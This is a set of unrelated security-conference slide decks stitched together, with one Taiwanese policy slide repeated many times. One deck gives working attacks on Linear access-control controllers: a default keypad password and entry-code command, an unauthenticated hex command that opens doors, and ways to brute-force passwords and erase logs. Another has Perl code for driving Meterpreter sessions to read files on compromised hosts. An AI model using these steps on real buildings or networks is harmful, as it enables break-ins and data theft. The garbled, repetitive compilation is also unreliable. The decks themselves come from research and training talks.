<label>^k</label>
</labels>
<attributes>
<attribute>
<name>favicon_url</name>
<value/>
</attribute>
<attribute>
<name>favicon_timestamp</name>
<value>1277006535</value>
</attribute>
</attributes>
</bookmark>
Shocking
Sad
What to do?
Questions? | pdf |
Are We Really Safe?
HACKING ACCESS CONTROL SYSTEMS
Dennis Maldonado
u Security Consultant @ KLC Consulting
u Twitter: @DennisMald
u Houston Locksport Co-founder
http://www.meetup.com/Houston-Locksport/
u Rebooting HAHA! (Houston Area Hackers Anonymous)
Agenda
u Physical Access Control System
u Linear Commercial Access Control Systems
u Attacks
u Local
u Remote
u Demo/Tools
u Device Enumeration Techniques
u Recommendations
Physical Access Control Systems
Physical Access Control
What do they do?
Limiting access to physical location/resource
u Secure areas using:
u Doors
u Gates
u Elevators floors
u Barrier Arms
u Access control systems
u Keypad Entry (Entry/Directory codes)
u Telephone entry
u Radio receivers for remotes
u Proximity cards (RFID)
u Swipe cards
u Sensors
Physical Access Control
How do they work?
Where are they used?
u Use cases:
u Gated Communities
u Parking Garages
u Office Buildings
u Apartments
u Hotels/Motels
u Commercial Buildings
u Recreational Facilities
u Medical Facilities
Doorking
Chamberlain
Sentex
Li4Master
Nortek
Security
&
Control/Linear
Controllers
Linear Commercial Access Control
Nortek
Security
&
Control/Linear
Controllers
AE1000Plus
AE2000Plus
AM3Plus
Linear Controller
u Commercial Telephone Entry
System
u Utilizes a telephone line
u Supports thousands of users
u Networked with other controllers
u Can be configured/controlled
through a PC
u Serial Connection
Linear – TCP/IP Kit
u AM-SEK Kit (Serial-to-TCP)
u Converts Serial to Ethernet
u Allows Management over TCP/IP
network
u Allows for remote management
(over the internet)
Linear – Typical Installation
Serial
Cable
Ethernet
Cable
Management PC
192.168.0.40
AE1000Plus
Controller
Ethernet
Cable
Router/Switch
192.168.0.0/24
Software - AccessBase2000
u Add/remove users
u Entry codes
u Directory codes
u Cards
u Transmitters
u Manually toggle relays
u View log reports
u Communicates through serial
u Requires a password to
authenticate
PC to Controller Communication
u Request
u 5AA5000A1105010008000000CB97
u Response
u Acknowledged:
5AA50004110C4625
u Not Acknowledged:
5AA50005110D024C23
u Invalid Checksum:
5AA50005110D017EB8
u No response (not authenticated)
5AA5000A11013635343332319A71
5AA50005110D024C23
5AA5000A11013635343332319A71
Packet
Header
Minimum
Data Length
Maximum
Data Length
Data
(Hex)
Checksum
Net
Node
Command
{
Password = 01
Poll Status = 02
Poll Log = 03
Command = 04
Time = 05
Put Flash = 06
…
}
String is Hex Encoded
Attacks
LOCAL AND REMOTE ATTACKS
So how do we target these
controllers?
u Physical Access
u Local Programming
u Serial port inside the controller
Local Attacks
AE-500 – Default Password
u Hold 0 and 2 on the keypad
u Type the default password:
123456#
u Input the commands to add a
new entry code
u 31#9999#9999#99#
u Type in your new code (9999)
u Access Granted!
123456#31#9999#9999#99#
Enter
Programming
Mode
Enter Entry
Code
Confirm
New Entry
Code
Exit
Programming
Mode
New Entry Code
Master Key
u Same key for all AE1000plus,
AM3plus controllers
u Purchase them from a supplier or
on eBay
u Or just pick the lock
u Full access to the device
Physical Access
u Manual Relay Latch buttons
u Toggle Relay
u Lock their state
Physical Access
u Manual Relay Latch buttons
u Toggle Relay
u Lock their state
u Programming buttons
u Program device locally
u Erase Memory
u Active Phone Line
u Serial connection to the controller
Tamper Monitoring?
u Magnetic tamper switch inside
enclosure
u No active alerts
u Can be bypassed by placing a
magnet on the outside of the
enclosure
So how do we target these
controllers?
u Physical Access
u Local Programming
u Serial port inside the controller
So how do we target these
controllers?
u Physical Access
u Local Programming
u Serial port inside the controller
u Internal Network Access
u
IP of Serial to TCP device
u TCP Port 4660
u External Network Access
u IP of Serial to TCP device
u TCP Port 4660 open to the internet
5AA5000A11013635343332319A71
5AA50005110D024C23
Bad Guy
5AA5000A11013635343332319A71
5AA50005110D024C23
192.168.0.32:4660
74.12.x.x:4660
Remote Attacks
Demo
Brute-force attack
u No rate limiting
u No password lockout
u Small key space
u Exactly 6 characters
u Numeric only
u Scriptable
Demo
No Password Necessary
u Authentication not enforced!
u Send unauthenticated commands
u Any commands will execute
u May not get any confirmation
data
Hacker
Raw Connection
AE1000Plus
Controller
Open Doors Remotely
u Send one simple command
u
5AA5000A1105010000080000E88D
u Triggers a relay for 2 seconds thus
opening a door or gate
u Great for movie style scenes
5AA5000A1105010000080000E88D
Hacker
Raw Connection
AE1000Plus
Controller
Door 1
Access
Granted
Lock Doors Open/Closed
u Keeps Doors/Gates open
or closed
u Will not respond to user
input (RFID cards, remotes,
etc)
u Persist until manually
unlocked or rebooted
Delete Logs From The Controller
u Controller keeps logs of events
u Downloading logs deletes them
from the controller
u Hide evidence of entry or
tampering
Change the Password
u Upload configuration settings
u Change password without
needing the previous password
u Normal functionality remains
u Upload other configuration
changes
Denial of Service
u Fake database update will disable
controller connected to or
rebooted
u Overwrite device firmware
u Lock relays to prevent access
ACAT – Access Control Attack Tool
Demo
Locating Controllers
Device Enumeration Techniques
u Scan the network
u Look for any COM port redirectors
u Default port = TCP 4660
u Send broadcast packet to UDP 55954
u Devices will respond
u Send a password request string to port
4660
u 5AA5000A11013635343332319A71
u 5AA50004110C4625
u 5AA50005110D024C23
5AA5000A11013635343332319A71
5AA50005110D024C23
UDP Broadcast
Broadcast
Response
Client
Response
Demo
Recommendations
u Always change the default password
u Change physical locks
u Use a direct serial connection
u If networked, utilize authentication
u Resist opening the controller to the
internet
Final Thoughts
u Other vendors
u Ongoing research
u Tool – More work is needed
u Tool located on https://github.com/linuz/Access-Control-Attack-Tool
u It’s currently just a prototype
u Continue updating it/take it out of “PoC mode”
u Working on an Nmap script
u Slides uploaded to SlideShare
www.slideshare.net/DennisMaldonado5
Questions?
u If you have any questions, you can:
u Twitter: @DennisMald
u Find me here at DEFCON23
u Email me at: [email protected] | pdf |
We are “into” helping others
reach the security summit…
Andrew Gavin : Verizon Business
Michael Baucom : N2 Net Security, Inc
Charles Smith : N2 Net Security, Inc
Brief recap of OpenDLP
Goals of new Meterpreter feature
Decisions behind using OpenDLP and
Metasploit
Architecture and changes
Architecture and changes
Live demos
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
2
OpenDLP is a data discovery tool for
filesystems and databases
Free and open source (GPLv3)
It has support for agent scanning (Windows)
or agentless scanning (Windows/UNIX/DBs)
or agentless scanning (Windows/UNIX/DBs)
Uses profiles to scan systems/DBs:
◦ Administrative credentials
◦ Whitelist/blacklist files/directories
◦ Regular expressions to use when searching for data
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
3
Today will concentrate on agent scanning
Old method:
◦ User configures profile and enters list of IPs to scan
◦ OpenDLP webapp pushes agent to Windows boxes
over SMB
over SMB
◦ Agent starts as a Windows service at low priority
◦ Agent scans directories/files based on profile
◦ Agent phones home every X seconds with results
◦ When agent is done, webapp uninstalls it
◦ Can view results, mark false positives, export XML
Live demo of agent scanning
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
4
In order to deploy to multiple systems with a
single profile, you must have domain admin
credentials or the hash
If you don’t have domain admin credentials,
you need to create a profile for each system
you need to create a profile for each system
with different passwords or hashes (must be
a system account due to service interactions)
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
5
Need to have the ability to search
compromised machines for PII with or without
having credentials
The tool must have minimal impact on the
users of the machines compromised
users of the machines compromised
The tool must cleanup deployed files after it
has finished searching
The tool must minimize the risks associated
with leaking the data
The tool must use freely available software
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
6
What better tools to use than we ones we’ve
been using already
OpenDLP for scanning and viewing the results
Metasploit for compromising the systems
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
7
Since we are performing a Pentest and using
Metasploit to gain access to machines, can we
leverage Metasploit to deploy OpenDLP?
◦ Not as OpenDLP exists, we must have credentials or
hashes
hashes
◦ Even with hashdump, we cannot guarantee that we
get a domain admin account
◦ While we can use system accounts, it is too
cumbersome to create a profile per machine
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
8
Rather than using Metasploit to get the
credentials (and copying them manually into
a profile) why not simply use Metasploit for
deployment?
Metasploit meterpreter sessions provide the
ability to:
ability to:
◦ Upload/download files
◦ Execute programs on the target
◦ Manage Services
Metasploit RPC provides a mechanism to
drive from remote
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
9
Openly available Exploit Framework that
many Pentesters use, including us
Has an RPC interface that allows another tool
to list compromised systems and interact
with them
with them
Many routines that allow you to deploy
services, elevate privileges, download/upload
files, and execute applications on the target
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
10
The OpenDLP Metasploit Bridge gives
OpenDLP the ability to use Metasploit
sessions to deploy the agent scanner
Allows the user to create a single profile for
windows Metasploit sessions regardless of
windows Metasploit sessions regardless of
the credentials necessary for the machines
All features of the current OpenDLP
deployment are available via Metasploit
Sessions
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
11
Metasploit RPC Server
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
12
Pentester
Target
RPC
RPC
RPC
RPC
Modifications to the OpenDLP web pages to
include Metasploit Integration
Creation of a Metasploiter perl module to
handle interacting with Metasploit RPC to
include console interaction
include console interaction
Metasploit Post Module that handles
deployment of the OpenDLP agent, including
uploading files, service management,
configuration passing, and downloading files.
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
13
Since OpenDLP is written in perl, I needed a perl
module to communicate with Metasploit
Stand-alone perl module to interact with
meterpreter sessions from any perl program
Parses RPC responses so you don’t have to
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
14
Login and acquire persistent credentials
Get Metasploit version
Get list of sessions (and details about each session)
Interact with sessions via meterpreter read and
writes (Synchronous writes too)
Upload/download files between Metasploit and
Upload/download files between Metasploit and
target session
Create and change remote path (on target system)
Change local (to Metasploit) path
Remotely execute apps on the target (opens a
channel and wait for the results)
Check if connected to Armitage console
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
15
Logon to Metasploit and acquire persistent auth
token
use Strict;
use MetaSploiter;
my $ret_code = 0;
my $metaSploiter = MetaSploiter->new();
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
16
if ($ret_code = $metaSploiter->MetaLogin(“192.168.1.100”, # host
55552,
# port
“msf”,
# user
“f00bar”,
# password
1) ) # 0=plaintext 1=SSL
{
die($metaSploiter->GetLastError());
}
print "Logged in (Temporary token: " . $metaSploiter->GetAuthToken() . ").\n";
if ($ret_code = $metaSploiter->AcquirePersistentToken()) {
die($metaSploiter->GetLastError());
}
print "Acquired persistent token: ". $metaSploiter->GetAuthToken() . ".\n";
Retrieve the session list
if ($ret_code = $metaSploiter->ListSessions()) {
die($metaSploiter->GetLastError());
}
my @sessionList = $metaSploiter->GetSessionList();
my $countTo = scalar(@sessionList);
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
17
my $countTo = scalar(@sessionList);
print "Current active sessions: $countTo\n";
if ($countTo > 0) {
print "Displaying sessions...\n";
for (my $i = 0; $i < $countTo; $i++) {
print " Session " . $sessionList[$i]->sessionName .": ";
print $sessionList[$i]->target_host
. " - " . $sessionList[$i]->info . "\n";
}
}
◦ Print the Metasploit version
◦ Change the remote path in a session and print it
◦ Release the persistent token to finish
print "Current Metasploit Version: " . $metaSploiter->GetMetasploitVersion() . "\n";
my $sessionId = 5; #Assuming for this demo that session 5 exists.
if ($ret_code = $metaSploiter->ChangeRemotePath($sessionId, "c:/program files") ) {
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
18
if ($ret_code = $metaSploiter->ChangeRemotePath($sessionId, "c:/program files") ) {
die($metaSploiter->GetLastError());
}
if ($ret_code = $metaSploiter->SendAndWait($sessionId, "pwd")) {
die($metaSploiter->GetLastError());
}
print "Current path on session $sessionId: " . $metaSploiter->GetCommandResponse();
if ($ret_code = $metaSploiter->ReleasePersistentToken()) {
die($metaSploiter->GetLastError());
}
print "Released persistent token.\n";
print "Done.\n\n";
◦ Output from this small application looks like this:
Logged in (Temporary token: TEMPOTr5B1HpCzCJpTfIgYAH2uQBROoT).
Acquired persistent token: SjyBUZYLxvDRRfoyp3DdDsomEwWdMJaC.
Current active sessions: 3
Displaying sessions...
Session 6: 192.168.1.109 - NT AUTHORITY\SYSTEM @ GAETA
Session 5: 192.168.1.102 - NT AUTHORITY\SYSTEM @ ADAMA
Session 3: 192.168.1.105 - NT AUTHORITY\SYSTEM @ DUALLA
Current Metasploit Version: 4.3.0-dev
Note: The above demo code above showcases just a subset of the
functionality available inside the MetaSploiter package.
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
19
Current Metasploit Version: 4.3.0-dev
Current path on session 5: c:\program files
Released persistent token.
Done.
Uses the Meterpreter RPC commands
◦ Access to Meterpreter sessions is not synchronized
◦ Unable to match a response to a particular command, or to
a particular user
one user sends a “pwd” and another attempts to cat a file at the
same time, whoever reads first will get the data, and it will likely
same time, whoever reads first will get the data, and it will likely
not be the expected response
◦ Therefore, more than one application cannot access the
same meterpreter session at the same time. This means
applications using the MetaSploiter module, or even using
meterpreter from a Metasploit console.
◦ Files must be downloaded to the Metasploit box and
retrieved manually (no direct download through RPC)
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
20
4
C.E.S.1
Slide 20
4
Is this correct? You will have a difficult audience. Make sure that the console has issues also.
Michael, 5/1/2012
C.E.S.1
Reworded that paragraph to be less confusing
Charles Smith, 5/22/2012
Previous weaknesses mean that MetaSploiter and
Armitage do not play nicely
Armitage’s mutiplexing of commands and sharing
sessions does not work for non-Armitage clients
◦ Armitage command responses may be unintentionally
intercepted by MetaSploiter, and MetaSploiter commands
intercepted by MetaSploiter, and MetaSploiter commands
will cause Armitage to miss (or misinterpret) expected
responses
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
21
2
C.E.S.2
Slide 21
2
Make sure this statement is correct. I believe it is correct, but did you actually experience this?
Michael, 5/1/2012
C.E.S.2
Yes, I tested this. If I'm running armitage and I connect to meterpreter and start sending commands, armitage will get confused. If I create a simple
app that constantly reads from meterpreter and does nothing but consume, then armitage will timeout or not display complete results because
they've been consumed by someone else. I have not however tried this in team server mode, though.
Charles Smith, 5/22/2012
MetaSploiter includes a CheckForArmitage method to
determine if Armitage is connected to the RPC server
◦ If it is connected to an Armitage server, you can still use
MetaSploiter, but you must ensure no-one else uses Armitage
while your application is running
◦
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
22
print "Checking for Armitage... ";
my $arm = $metaSploiter->CheckForArmitage();
if ($arm == -1) { die($metaSploiter->GetLastError()); }
if ($arm == 0) { print "Not using Armitage.\n"; }
if ($arm == 1) {
print "WARNING: ARMITAGE DETECTED.\n";
print " Armitage and other clients cannot be used on the same \n";
print " session at the same time. \n";
print " When using MetaSploiter, do not interact with \n";
print " the session through Armitage, or the client may fail.\n";
}
Developed in order to overcome the issues
with interacting with meterpreter sessions
using MetaSploiter and the RPC
◦ Metasploit post module to be installed on the
Metasploit system, in windows/gather/opendlp
Metasploit system, in windows/gather/opendlp
◦ MetaPostModule perl module installed with
OpenDLP web application
Overrides MetaSploiter, but has additional functionality
specific to calling our post module
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
23
Our first pass was to create a Post Module
and execute via the “module.execute” RPC
command
◦ Worked great, but no way to view status messages
◦ Considered modifying Metasploit to provide a
◦ Considered modifying Metasploit to provide a
mechanism to get the output via a new RPC
command, but it was not clean
◦ Decided to move to a new console and execute the
post module from there over RPC
By using the console, we were able to download files
from the target directly to the OpenDLP System
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
24
The OpenDLP post module may execute six different
actions, detailed below:
DEPLOY –
Creates a directory on the target system.
Uploads the OpenDLP files.
Executes the self-extracting archive.
Writes the configuration file.
Installs the OpenDLP service.
Installs the OpenDLP service.
Starts the OpenDLP service.
START – Starts the OpenDLP service on the target system.
STOP – Stops the OpenDLP service on the target system.
DELETE – Uninstalls the OpenDLP service from the target
system.
REMOVE – Removes the installation files and directory from the
target system
READFILE – Reads a file on the target system and prints it to the
console
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
25
MetaPostModule creates a new console and
executes the post module action in the console
◦ There are no visible interactions with the meterpreter
session
To deploy, set the following properties:
◦ ModuleName – should be to “windows/gather/opendlp”
◦ ModuleName – should be to “windows/gather/opendlp”
◦ ConfigString – Base64-encoded string of the OpenDLP
configuration created by OpenDLP in start-verify.html
◦ SourcePath –Path to the OpenDLP files to upload from
the Metasploit box
◦ RemotePath – The installation directory on the target
◦ SessionId – The session to which you are deploying
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
26
Ensure module exists on Metasploit by calling
CheckForModule
CheckForModule
CheckForModule
CheckForModule()()()()
Deploy via the DeployOpenDLP
DeployOpenDLP
DeployOpenDLP
DeployOpenDLP()()()()
my $metaPostModule = MetaPostModule->new();
$metaPostModule->MetaLogin("192.168.1.109", 55552, "msf", "f00bar", 1);
$metaPostModule->SetModuleName("windows/gather/opendlp");
if ($ret_code = $metaPostModule->CheckForModule() ) {
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
27
if ($ret_code = $metaPostModule->CheckForModule() ) {
die "Module \"windows/gather/opendlp\" is not installed on the Metasploit host.";
}
my $configString = encode_base64("OpenDLP-generated configuration string");
$metaPostModule->SetSourcePath("c:/metasploit/OpenDLP_files");
$metaPostModule->SetRemotePath("c:/program files/opendlp");
$metaPostModule->SetConfigString($configString);
$metaPostModule->SetSessionId(5);
$ret_code = $metaPostModule->DeployOpenDLP();
LogMe($metaPostModule->GetCommandResponse()); #log the full results
if ($ret_code) {
die "Failed to deploy OpenDLP: " . $metaPostModule->GetLastError();
} else {
print "Successfully deployed OpenDLP.\n";
}
Files containing PII can now be retrieved directly
◦ It is no longer necessary to save them on the Metasploit
box as it is with the MetaSploiter module
To get the contents of a remote file:
my $ret_code = $postMod->ReadFile("c:\\helloworld.txt");
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
28
if ($ret_code) { die "Error: " . $postMod->GetLastError(); }
print $postMod->GetFileData();
To add support for the Metasploit bridge to
OpenDLP, many of the web pages needed to
be changed or updated, and several new
pages were added as well.
The following slides give a brief overview of the
files that were changed, why they were
changed, and screen shots to show the
changes.
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
29
profiles.html
◦ Added the following fields necessary to login to
Metasploit and use the RPC bridge:
Metasploit Host and Port
Metasploit Host and Port
Metasploit Host and Port
Metasploit Host and Port –Metasploit RPC server
Metasploit User and Password
Metasploit User and Password
Metasploit User and Password
Metasploit User and Password – RPC Login credentials
Path to OpenDLP files
Path to OpenDLP files
Path to OpenDLP files
Path to OpenDLP files – Location on Metasploit box
where the OpenDLP installation files are located
Metasploit Latency
Metasploit Latency
Metasploit Latency
Metasploit Latency – Time in milliseconds spent
between polling meterpreter for more results
Metasploit Timeout
Metasploit Timeout
Metasploit Timeout
Metasploit Timeout - Time in seconds to wait for a
response, before giving up
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
30
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
31
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
32
startscan.html
◦ A Windows Agent Scan requires manual additions of
the IP addresses to deploy to in your profile
◦ Deployment via Metasploit uses sessions that can
change as new boxes are popped, or if Metasploit is
stopped and reloaded
stopped and reloaded
Created a new page that lists the existing sessions and
allows you to choose which sessions to deploy to
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
33
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
34
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
35
start-verify.html
◦ Appears the same as before, but behind the scenes
this is where all the code for deployment over the
Metasploit bridge takes place
◦ Metasploit configuration parameters are loaded
from the database (Metasploit RPC host, port, login,
from the database (Metasploit RPC host, port, login,
password, etc)
◦ Deploys either to a Meterpreter-based bridge or a
post-module-based bridge depending on the scan
type
◦ Detailed deployment info is output
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
36
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
37
viewresults.html
◦ Unlike IP addresses, Meterpreter session ids can
and do change
◦ Verifies that the session used for the results is still
active and the IP address matches the address
saved in the database
saved in the database
If the session is different, an error message pops up,
and you can follow the instructions to re-associate the
scan result with a currently active session
◦ The database is updated and you can view the
results
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
38
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
39
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
40
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
41
download_file.html
◦ MetaSploiter downloads files to the Metasploit box
instead of the user
The path used is the “Path to Metasploit files” saved in
the profile, plus the profile name, session, and IP
address
address
◦ The OpenDLP Post module implementation does not
have this restriction.
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
42
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
43
deletescan.html
◦ Modified to make deleting scans more convenient
◦ Multiple scans can be deleted at the same time,
using checkboxes instead of radio buttons.
◦ Incomplete scans may be deleted (this is useful if
you have failed deployments or if you stopped and
you have failed deployments or if you stopped and
uninstalled a deployment before it was finished)
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
44
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
45
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
46
“Metasploit->Manage Agents”
◦ Allows you to start, stop, and uninstall agents
outside of the normal OpenDLP workflow
◦ If you start a scan but specified incorrect
credentials for the OpenDLP server in your profile,
you can manually stop the scan
you can manually stop the scan
◦ stop and uninstall all running OpenDLP clients in a
single step
◦ If an error occurs when removing the service or
installation directory you can go back later and try
again manually
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
47
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
48
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
49
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
50
http://opendlp.googlecode.com
◦ Source Code and Binaries
◦ VirtualBox VM
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
51
Michael Baucom
◦
[email protected]
◦
Twitter: @m_baucom
Charles Smith
◦
[email protected]
◦
[email protected]
Andrew Gavin
◦
[email protected]
◦
Twitter: @OpenDLP
◦
Twitter: @andrewgavin
Post-Exploitation Nirvana:Launching OpenDLP Agents over Meterpreter Sessions
52 | pdf |
張善政 S-C (Simon) Chang
行政院副院長 Vice Premier
Aug. 26th, 2015
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction
Reinforcing Cyber Security
-- Taiwan’s Roadmap
Build a comprehensive defense posture
Government wide classification and security
requirements
Establish 8 CIP domains and security requirements
PPP (public private partnership)
2nd-line security operation center (SOC)
Human resource building
Beyond conventional curriculum
Internship at industry, with credits
A common drill platform and live traffic feeds
International competition supports
Incubate Taiwan signature events – HITCON
Platform of incubation and interaction | pdf |
PSRC小目标,挣他一个亿
讲师:carry_your
138,270,000
CONTENTS
01
资产收集技巧
02
漏洞挖掘案例
03
职业规划梳理
资产收集
1
在渗透测试中,我们需要尽可能多
的去收集目标的信息,资产探测和
信息收集,决定了你发现安全漏洞
的几率有多大。如何最大化的去收
集目标范围,尽可能的收集到子域
名及相关域名的信息,这对我们进
一步的渗透测试显得尤为重要。
基本概况
IP段+端
口
域名
APP
服务号
API
信息泄露
社工
基本概况
股权结构查询
大型金融集团往往有着非常复
杂的股权结构,通过工商查询
目标集团的股权结构,更全面
的了解目标集团的公司资产,
从一个点切入可获取到集团所
有的子公司信息以及关联业务,
尽可能多的发现相关资产。
持续监控资产
大型金融集团往往会有频繁的新
业务上线和老业务变更,而新上
线或者进行变更的资产,往往更
容易存在漏洞,通过对这些的监
控可以在第一时间去检测这些系
统,往往可以更高效的挖掘到高
风险安全漏洞。
信息泄露监控
大型金融集团往往有着数量庞
大的员工数或者外包人员,而
少数员工和外包人员缺乏安全
意识,经常会无意识的做一些
信息泄露的事情,比如公司信
息上传网盘,代码信息上传
github等。
基本资产监控
大型金融集团往往有着复杂而
且持续变化的网络和主机资产,
这些主机上面往往开着各种的
服务和应用,而且往往一些比
较奇葩的端口上运行着安全防
护较为薄弱的应用或者服务,
这些就是我们需要关注的地方。
Part 1
从股权结构切入
Part 2
新上线资产监控
Part 3
泄露信息收集
Part 4
C段+端口定时跑批
从股权结构切入
持续监控资产
APP持续监控
持续监控资产
持续监控资产
微信公众号持续监控
信息泄露监控
信息泄露监控
信息泄露监控
基本资产监控
漏洞挖掘
漏洞挖掘有时候不单单是简单的漏
洞利用,往往漏洞挖掘的过程中会
有各种复杂的网络环境以及攻防切
磋,在特定的环境下发现漏洞,并
举一反三,共同提高企业安全水平,
2才是我们的目标。
逻辑漏
洞
系统漏
洞
人为漏
洞
常规漏
洞
金融行业常见漏洞类型
金融行业常见漏洞类型
案例1-参数加密的密码重置
案例1
案例1
id_user=df4391c2-763f-49fc-978e-f7aab56e215d
案例1
{"Message":["短信已发
送!"],"Level":0,"Data":{"id":"d9052d34-d8b7-
4ba9-8e5c-
6106986c8399","flag_lx":1,"username":"135XX
XX5171","id_masteruser":"0","id_user":"c60ce6
54-c873-485a-971c-
65e3daeff8da","id_edit":"c60ce654-c873-
485a-971c-
65e3daeff8da","rq_edit":"\/Date(1546941421
823)\/"},"Success":true}
id_user":"c60ce654-c873-485a-971c-65e3daeff8da
username":"135XXXX5171"
案例1
案例2-另类的越权漏洞
参数clinicId存在越权,值为f4e350c7-78ff-4dbc-806d-2fc99254d646
POST /xxxxxx/app.do HTTP/1.1
Host: gw.xxxxxx.com
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cookie: BIGipServer_nginx_pool=926027948.36895.0000
Connection: close
Accept: */*
User-Agent: XXXX2B/1.8.1 (iPhone; iOS 10.3.1; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1
Content-Length: 318
X-Request-Id: 9F613F2C-29D0-44F3-95BB-011FAA7577B8
a p p S r c = 3 & a p p T y p e = B & a p p _ c o d e = 2 3 0 0 4 & c a s U u i d = 1 & c l i n i c I d = f 4 e 3 5 0 c 7 - 7 8 f f - 4 d b c - 8 0 6 d -
